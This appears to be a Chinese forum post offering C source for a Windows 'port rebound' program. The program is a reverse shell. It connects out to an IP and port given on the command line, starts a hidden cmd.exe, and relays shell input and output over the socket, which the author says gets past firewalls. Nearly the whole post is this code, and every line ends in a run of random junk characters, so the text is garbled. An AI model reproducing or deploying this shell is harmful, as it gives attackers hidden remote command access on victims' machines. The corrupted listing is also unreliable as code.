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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 :3F&NsgHH  
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/* ============================== N'_,VB  
Rebound port in Windows NT lot7SXvK  
By wind,2006/7 ZY-UQ4_|u  
===============================*/ X8l[B{|  
#include aW hhq@  
#include s6SG%Vd  
e$>.x< Eq  
#pragma comment(lib,"wsock32.lib") %lPAq  
b0PqP<{t  
void OutputShell(); tcOgF:  
SOCKET sClient; F VW&&ft  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Unev[!  
kQ4-W9u  
void main(int argc,char **argv) j|3p.Cy  
{ 9`4mvK/@  
WSADATA stWsaData; H@0i}!U64  
int nRet; 2\&uO   
SOCKADDR_IN stSaiClient,stSaiServer; JmB7tRM8  
mmP>Ji  
if(argc != 3) `` (D01<  
{ 0/?V _  
printf("Useage:\n\rRebound DestIP DestPort\n"); o>x*_4[  
return; @czNiWU"4;  
} Q?Vq/3K;  
+')\,m "z  
WSAStartup(MAKEWORD(2,2),&stWsaData); nxH=Ut7{  
{8D`A;KD  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -U;2 b_  
uP bvN[~t  
stSaiClient.sin_family = AF_INET; dr3#?%  
stSaiClient.sin_port = htons(0); 5 {cbcuG  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); i-Ck:-J  
4Z>KrFO  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) nQ>?{"  
{ Dp|y&x!  
printf("Bind Socket Failed!\n"); T7vilfO5G  
return; u50 o1^<X  
} " O1\]"j  
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stSaiServer.sin_family = AF_INET; R}lS@w1  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); lN$#lyy  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Dd8*1,  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 6|gC##T  
{ @,0W(  
printf("Connect Error!"); W/COrgbW  
return; LwIl2u*  
} cLl=?^DB  
OutputShell(); K#q1/2  
} Ft)7Wx" S  
?EF[OyE  
void OutputShell() M]&F1<  
{ Xy[O  
char szBuff[1024]; #7/;d=  
SECURITY_ATTRIBUTES stSecurityAttributes; @]yd Wd  
OSVERSIONINFO stOsversionInfo; ?&?gQ#\N_J  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Hq'mv_}qG  
STARTUPINFO stStartupInfo; P)x&9OHV  
char *szShell; qP? V{N  
PROCESS_INFORMATION stProcessInformation; rhU]b $A  
unsigned long lBytesRead; =\ ]5C  
A*tG[)  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); %9ef[,WT  
KEF"`VTB@  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);  =`fJ  
stSecurityAttributes.lpSecurityDescriptor = 0; -_&"Q4FR;+  
stSecurityAttributes.bInheritHandle = TRUE;  5,  
5e tbJk  
#(6^1S%  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); e= $p(  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); x=(y  
AA[(rw  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 9m^"ca  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ktX\{g!U  
stStartupInfo.wShowWindow = SW_HIDE; I6?n>  
stStartupInfo.hStdInput = hReadPipe; _7df(+.{<A  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Tjba @^T  
3e&H)  
GetVersionEx(&stOsversionInfo); NzB"u+jB  
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switch(stOsversionInfo.dwPlatformId) *@6,Sr)_  
{ *`.h8gTD,  
case 1: fLM5L_S}Y  
szShell = "command.com"; :u$nH9kwv  
break; )EQWc0iKG  
default: S8-3Nv'  
szShell = "cmd.exe"; <1i:Z*l.  
break; aH7i$U&  
} nn'a` N  
!,8jB(  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); j >f  
[-}LEH1[p  
send(sClient,szMsg,77,0); ^Pqj*k+F  
while(1) XV)<Oavs  
{ jI})\5<R  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); <Uj~S  
if(lBytesRead) MDkcG"O  
{ _XLGXJ[B  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 9eOP:/'}w  
send(sClient,szBuff,lBytesRead,0); .W4P/P w'  
} -|s w\Q  
else N.r8dC  
{ f.Wip)g  
lBytesRead=recv(sClient,szBuff,1024,0); FvX<(8'#a  
if(lBytesRead<=0) break; HLMcOuj  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 5P=3.Mk  
} Mf'T\^-!  
} i=Nq`BoQf  
oSd TQ$U!D  
return; -!d'!; ]  
}
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